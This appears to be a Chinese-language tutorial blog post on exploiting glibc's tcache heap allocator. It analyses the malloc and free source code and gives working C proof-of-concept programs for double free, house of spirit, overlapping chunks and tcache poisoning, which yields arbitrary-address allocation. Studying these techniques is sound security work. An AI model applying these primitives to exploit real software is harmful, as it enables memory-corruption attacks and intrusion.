Pwn Heap With Tcache
source link: https://jinyu00.github.io/2018/06/03/Pwn-Heap-With-Tcache.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Pwn Heap With Tcache
glibc 2.26
开始引入了 tcache
, 相关的 commit
可以看 这里 。加入 tcache
对性能有比较大的提升,不过由于 tcache
的存在 ,一些利用方式的限制条件就少了许多。具体往下看。
相关文件位于
https://gitee.com/hac425/blog_data/tree/master/tcache_pwn
修改自:https://github.com/andigena/ptmalloc-fanzine/tree/master/05-tcache
首先分析分析源码,看看 tcache
的工作原理
相关数据结构
typedef struct tcache_entry
struct tcache_entry *next;
} tcache_entry;
typedef struct tcache_perthread_struct
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS]; // TCACHE_MAX_BINS = 64
} tcache_perthread_struct;
tcache
也是使用 类似 bins
方式来管理 tcache
。
tcache_perthread_struct
是整个 tcache
的管理结构, 它的 entries
有 64
项
每一项由 相同大小的 chunk
通过 tcache_entry
使用单向链表链接(类似于fastbin
的链接方式)。
counts
用于记录 entries
中每一项当前链入的 chunk
数目, 最多可以有 7
个 chunk
。
tcache_entry
用于链接 chunk
的结构体, 其中就一个 next
指针,指向下一个相同大小的 chunk
下面通过分析对 tcache
的两个基本操作理解上面结构体的作用
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e; // 增加到链表头部
++(tcache->counts[tc_idx]); // 记录当前 bin 的 chunk数
static __always_inline void *
tcache_get (size_t tc_idx)
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
tcache_put
用于把一个 chunk
放到 指定的 tcache->entries
里面去, tc_idx
通过 csize2tidx (nb)
计算得到 (nb
是 chunk
的大小)。
它首先把 chunk+2*SIZE_SZ
(就是除去 header
部分) 强制转换成 tcache_entry *
类型,然后插入到 tcache->entries[tc_idx]
的首部,最后把 tcache->counts[tc_idx]
加 1
,表示新增了一个 chunk
到 该 表项。
tcache_get
根据 tc_idx
取出 tcache->entries[tc_idx]
的第一个chunk
, 然后把 指针强制转换为 (void *)
这样就可以大概得到一个图
tcache->entries
的每一项通过 单向链表链接chunk
。tcache_entry
和malloc chunk
是重叠的,tcache_entry->next
和chunk->fd
是一个位置。
tcache in malloc
__libc_malloc
malloc
的入口点是 __libc_malloc
(做了一些注释)
__libc_malloc (size_t bytes)
.............
.............
.............
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes); // tbytes 为 bytes请求的 转换后得到的 chunk 的 size
size_t tc_idx = csize2tidx (tbytes); // 根据大小 tbytes , 找到 tcache->entries 索引
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // 如果 tcache->entries[tc_idx] 有 chunk ,就返回
return tcache_get (tc_idx); // 调用 tcache_get 拿到 chunk 然后返回
DIAG_POP_NEEDS_COMMENT;
#endif
if (SINGLE_THREAD_P)
victim = _int_malloc (&main_arena, bytes);
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
首先判断 tcache->entries[tc_idx]
里面有没有 chunk
,如果有就直接返回,否则进入 _int_malloc
分配内存。
下面看看 _int_malloc
(主要看 tcache
处理的部分)
_int_malloc
处理fastbin
首先是把 请求的 size
转换成 实际 malloc
内部的 size
,然后定义了一个宏
// 从 fastbin里面移除 pp
#define REMOVE_FB(fb, victim, pp) \
victim = pp; \
if (victim == NULL) \
break; \
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
!= victim); \
用于多线程的中从 fastbin
里面移除一个 chunk
.
然后进入分配的流程, 首先如果 size
在 fastbin
的范围内进入, fastbin
分配的流程
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL)
if (SINGLE_THREAD_P)
*fb = victim->fd;
REMOVE_FB (fb, pp, victim);
if (__glibc_likely (victim != NULL))
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins) // 把该 fastbin 里面其他的 bin 放到 tcache 里面
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] < mp_.tcache_count // 判断 tcache 中指定 bin 中 chunk 是否超过 7
&& (tc_victim = *fb) != NULL)
if (SINGLE_THREAD_P)
*fb = tc_victim->fd;
REMOVE_FB (fb, pp, tc_victim);
if (__glibc_unlikely (tc_victim == NULL))
break;
tcache_put (tc_victim, tc_idx);
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
- 在 相应
fastbin
找到 合适的chunk
后,就把 该chunk
从fastbin
里面拿下来 - 然后 把相应
fastbin
里面剩下的chunk
全都放到tcache
里面 , 直到tcache->entries[tc_idx]
满了 (已经有7
个chunk
了,即tcache->counts[tc_idx] = mp_.tcache_count = 7
)。 - 最后在返回一开始拿到的
chunk
给用户
如果 fastbin
不能分配,则进入 smallbin
的分配流程
处理 smallbin
if (in_smallbin_range (nb))
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin; // 找到 chunk , 从 smallbin拿下来准备返回给用户
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size, // 把指定 smallbin 里面的 bin扔到 tcache里面
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
if (tc_victim != 0)
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
和 fastbin
是类似的操作, 在 size
对应的 smallbin
里面找到 chunk
后
把这个 chunk
从链表上取下来
然后把该 smallbin
里面剩下的 bin
放入到 tcache
, 直到 tcache->entries[tc_idx]
满.
如果 smallbin
也没能分配,进入 unsorted bin
遍历unsorted bin
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
....................
....................
....................
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
// 把 bin 从 unsorted bin 里面拿下来后,先放入 tcache
#if USE_TCACHE
// 如果unsorted bin 的大小正好,扔到 tcache ,然后继续遍历
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
#endif
//大小不刚好等于需要的size 的话,就把 bin放到 相应的 bin 里面。
.......................................
.......................................
.......................................
#if USE_TCACHE
//如果有 大小适配的 unsorted bin 进入了 tcache(return_cached=1) 同时 mp_.tcache_unsorted_limit > 0 默认为 0 ,不会进入分支, 继续遍历
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
return tcache_get (tc_idx);
#endif
.......................................
.......................................
.......................................
} // end of while ((victim = unsorted_chunks (av)->b
//遍历完 unsorted bin 后 ,根据 return_cached 判断 tcache 里面是否有合适的 chunk
#if USE_TCACHE
/* If all the small chunks we found ended up cached, return one now. */
if (return_cached)
return tcache_get (tc_idx);
#endif
在遍历
unsorted bin
的时候, 如果找到大小刚好满足的bin
, 不会立刻返回,而是把这个bin
放入tcache
里面,并且设置return_cached=1
,表示 有 大小适配的unsorted bin
进入了tcache
如果大小不是正好满足需要,就走一般的流程,把
bin
放到相应的smallbin
或者largebin
里面遍历
unsorted bin
的最后,会根据return_cached
判断是否有 大小适配的unsorted bin
进入了tcache
,mp_.tcache_unsorted_limit
默认为0
,所以不会进入分支, 这样就会把所有的unsorted bin
都放入到tcache
。遍历完
unsorted bin
后 ,根据return_cached
判断tcache
里面是否有合适的chunk
,有的话就可以返回了否则
large bin
,top chunk
来分配。
tcache in free
static void
_int_free (mstate av, mchunkptr p, int have_lock)
size = chunksize (p);
check_inuse_chunk(av, p);
#if USE_TCACHE
size_t tc_idx = csize2tidx (size); // tcache bin 的索引
if (tcache
&& tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量
tcache_put (p, tc_idx);
return;
#endif
删掉了一些没影响的代码
- 首先就是获取要释放的
chunk
的size
, 然后判断size
是否符和规范(是否对齐之类的check
), 如果合规就看tcache->counts[tc_idx]
是否已经满了 ,如果没有满就直接放入tcache
, 然后返回。 - 否则就和没有
tcache
是一样的处理
在 free
的时候,会检测 p
的下一个 chunk( next )
的 PREV_INUSE
位,但是如果 chunk
被放入了 tcache ,next->PREV_INUSE
位不会被修改 ,所以还是会标志为 in_used
. 所以我们可以 多次释放同一个 chunk
.
size = chunksize (p);
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p); // 通过下一个 chunk 的 pre_inused 位,判断当前 chunk 释放已经被释放
#if USE_TCACHE
size_t tc_idx = csize2tidx (size); // tcache bin 的索引
if (tcache
&& tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量
tcache_put (p, tc_idx); // 如果 chunk 被放入了 tcache ,next->pre_inuse 不会被修改。
return;
#endif
同时在 malloc
的时候 ,先尝试 tcache
分配
void *
__libc_malloc (size_t bytes)
#if USE_TCACHE
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->entries[tc_idx] != NULL)
return tcache_get (tc_idx);
#endif
这也使得很多安全检测不会被执行。
编译glibc
首先编译一个开启 tcache
的 glibc
,我用的是 glibc-2.27
tar xvf glibc-2.27.tar.bz2
mkdir gcc227_build
cd gcc227_build/
../glibc-2.27/configure --prefix=/usr/local/glibc227
sudo mkdir /usr/local/glibc227
sudo make install
http://www.sysnote.org/2015/08/25/use-new-glibc/
下载测试代码
https://github.com/andigena/ptmalloc-fanzine/tree/master/05-tcache
作为测试代码。
修改 Makefile
PROGRAMS = tcache_poisoning overlapping_chunks_by_caching tcache_house_of_spirit tcache_dup
CFLAGS += -Wpedantic -std=gnu11 -g -Wl,--rpath=/usr/local/glibc227/lib -Wl,--dynamic-linker=/usr/local/glibc227/lib/ld-linux-x86-64.so.2 -lpthread
all: $(PROGRAMS)
clean:
rm -f $(PROGRAMS)
增加 gcc
的参数
-Wl,--rpath=/usr/local/glibc227/lib -Wl,--dynamic-linker=/usr/local/glibc227/lib/ld-linux-x86-64.so.2
使得程序使用 我们编译好的 libc
来链接程序。
https://blog.csdn.net/jefbai/article/details/47859335
tcache_dup
通过 free
2次同一个 chunk
, 使得可以让两个指针分配到同一块内存
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
int main() {
void* p1 = malloc(0x40);
free(p1);
free(p1);
printf("Next allocated memory will be same: %p %p\n", malloc(0x40), malloc(0x40));
- 通过
_int_free
的源码我们知道, 在free
的时候,会检测p
的下一个chunk
(next
) 的PREV_INUSE
位 - 然后如果
tcache
指定项没有满就把chunk
加入tcache
- 但是如果
chunk
被放入了tcache
,next->PREV_INUSE
位不会被修改 ,所以还是会标志为in_used
. 所以我们可以 多次释放同一个chunk
.
所以我们释放两次 p1
, 此时 tcache
里面 size
为 0x50
( chunk
大小) 的项中就有 两个 一样 chunk
然后分配两次一样大小的 chunk
, malloc
会先用 tcache
分配,就会拿到两个一样的 chunk
01:38 haclh@ubuntu:tcache_pwn $ ./tcache_dup
Next allocated memory will be same: 0x602260 0x602260
可以看到分配到了两个地址一样的 chunk
.
tcache_house_of_spirit
通过伪造 size
,然后 free
掉这个 伪造的 chunk
, 然后再分配 size
大小的 chunk
, 就可以分配到指定位置。
首先看看源代码
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main(int argc, const char* argv[]) {
size_t fake_chunk_and_more[64];
memset(fake_chunk_and_more, 'A', sizeof(fake_chunk_and_more));
printf("stack buf: %p\n", (void *)fake_chunk_and_more);
char* fake_chunk = (char * )fake_chunk_and_more;
*(long *)(fake_chunk + sizeof(long)) = 0x110;
*(long *)(fake_chunk + 0x110 + sizeof(long)) = 0x40; // 设置 pre_inused 位
char *mem = fake_chunk + 2*sizeof(long);
free(mem);
void *mem2 = malloc(0x100);
printf("malloc(0x100) returned: %p\n", mem2);
return 0;
就是在栈上面(用栈只是为了方便)伪造了 一个 0x110
大小 chunk
,
然后把它释放掉,他就会进入 tcache
,然后分配 0x110
的 chunk
就可以 分配到 fake_chunk_and_more
的地址
可以看到分配到了fake_chunk_and_more
.
调试过程的内存状态
熟悉 malloc
管理机制的老哥们可以比较奇怪,这里把 next_chunk->pre_inused = 0
( size = 0x40
) 。
在 源码里面是有通过 check_inuse_chunk
检测是否 double free
的 代码的
_int_free (mstate av, mchunkptr p, int have_lock)
size = chunksize (p);
....................................................
....................................................
check_inuse_chunk(av, p);
#if USE_TCACHE
size_t tc_idx = csize2tidx (size); // tcache bin 的索引
if (tcache
&& tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量
tcache_put (p, tc_idx);
return;
#endif
但是从 ida
里面去看,居然不见了,校验 chunk
的 size
和 指针 后就直接进入 tcache
的处理的流程, 于是这里就算设置 下一个chunk
的 next_chunk->pre_inuse = 0
,也不会出现 crash
。
overlapping_chunks_by_caching
overlapping_chunks
这种技术非常经典了, 不过在 tcache
里面就非常的简单了, 修改 chunk
的 size
为 fake_size
, 然后 free
掉它,就会进入 fake_size
对应的 tcache
, 然后在 分配 fake_size
的 chunk
就可以拿到这个 chunk
, overlap chunk
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main(int argc, const char* argv[]) {
char *mem = malloc(0x48);
char *sentry = malloc(0x18);
memset(sentry, 'b', 0x10);
printf("mem: %p, sentry: %p\n",mem, sentry);
printf("sentry content: %s\n", sentry);
*(long* )(mem - sizeof(long)) = 0x110; // 设置 chunk->size = 0x110
free(mem);
char *mem2 = malloc(0x100); // 分配一个 0x110 的chunk
memset(mem2, 'a', 0x100);
printf("mem2: %p\n", mem2);
printf("sentry content: %s\n", sentry);
return 0;
通过修改 mem
所在 chunk
的 size
为 0x110
然后释放掉他 ,然后分配一个 0x110
的 chunk
,我们就会再次分配到它。此时 mem2
的 chunk
包含了 sentry
的 chunk
可以看到 mem2
所在 chunk
的大小为 0x110
, 而 sentry
和 mem2
相距 0x50
于是可以通过 mem2
修改 sentry
的内容
tcache_poisoning
通过修改 free
状态的 tcache
里面的 chunk
的 fd
(其实就是 tcache_entry->next
) ,可以分配到任意地址
#include <malloc.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main(int argc, const char* argv[]) {
size_t target[6];
printf("stack: %p\n",target);
char *mem = malloc(0x48);
free(mem);
*(long *)(mem) = (long)target;
char *mem1 = malloc(0x48);
char *mem2 = malloc(0x48);
printf("mem2: %p\n", mem2);
return 0;
分配一个 0x50
的 chunk
然后释放它,进入 tcache
,然后修改 fd
为 target
然后分配两次 0x50
的 chunk
就可以分配到 target
成功分配到了 栈上面。
其实 fd
为任意地址都行,原因在于 tcache_get
直接从 tcache->entries
里面拿 chunk
, 而不检查 拿到的 chunk
是否合法。
同时 在 malloc
分配内存时,首先使用 tcache
,而它判断 tcache
有没有可以分配的 chunk
, 是直接判断指定项有没有指针。
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins
&& tcache
&& tcache->entries[tc_idx] != NULL) // 根据tcache->entries[tc_idx]是否为空判断是否有chunk
return tcache_get (tc_idx);
DIAG_POP_NEEDS_COMMENT;
#endif
tcache
的引入使得 heap
相关的漏洞的利用非常的简单了。
简单的原因主要在于 tcache
里面没有做什么检查, 同时还会优先使用这使得原来 malloc
里面的 check
也没有了作用。
free
的话 释放内存如果大小在 tcache
的范围内, 只检测 size 和 指针 是否合法,而且检测非常弱。
malloc
时 也是优先使用 tcache
, 只要 tcache->entries[tc_idx]
非空就可以从 tcache
分配。
参考
http://tukan.farm/2017/07/08/tcache/
https://www.anquanke.com/post/id/104760
本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2018/06/03/Pwn-Heap-With-Tcache.html
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK